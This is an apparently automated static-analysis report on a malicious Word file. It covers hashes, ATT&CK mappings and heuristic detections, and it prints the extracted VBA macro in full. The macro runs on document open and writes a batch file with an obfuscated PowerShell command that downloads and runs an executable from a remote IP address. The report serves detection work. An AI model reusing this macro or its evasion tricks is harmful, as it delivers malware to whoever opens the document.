Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ef02c6849f92fe4e…

MALICIOUS

Office (OOXML)

60.0 KB Created: 2021-08-18 23:07:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2026-06-04
MD5: 98e0f437562090acbbd85cc21f96238f SHA-1: e554595a53304f0df4edd0466ed629261b6891c2 SHA-256: ef02c6849f92fe4edade3b37478657cb422fe0d9511eff7625701583bdc20cfb
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1105 Ingress Tool Transfer

The sample contains a VBA macro that triggers on document open. This macro constructs and executes a PowerShell command using Start-BitsTransfer to download a second-stage executable from 'http://193.42.38.88/1/As33sd08.exe' and saves it as 'C:\Users\Public\Documents\employeethank.exe'. It also creates a batch file 'C:\Users\Public\Documents\givepractice.bat' to facilitate this download and execution.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Document_Open()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    obh = CreateObject(sheee & "ll.Application").Open(asecond)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 909 bytes
SHA-256: 94b34dcd2d4f7069afe9e16e53b2e8ffafa2fc5daed4ae9e962cc530cca82173
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
stockstage = "powers^"
asecond = "C:\Users\Public\Documents\givepractice.bat"
reachnotice = "hell"
likethem = FreeFile
Open asecond For Output As likethem
Print #likethem, stockstage & reachnotice & " -w h Start-BitsTransfer -Source htt`p://193.42.38.88/1/As33sd08.e`xe" & " -Destination C:\Users\Public\Documents\employeethank.e`xe" & ";C:\Users\Public\Documents\employeethank.e`xe"
Close #likethem
sheee = "She"
obh = CreateObject(sheee & "ll.Application").Open(asecond)
End Sub

Attribute VB_Name = "Module1"
Sub picksoldier()
'
' picksoldier Macro
' 1Y9EPHD78LD1
'
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: e2de7e9c0a5c88e76eee1ae7a1c30974507ff76fb9d1f11e8bd5103ef9e800dc

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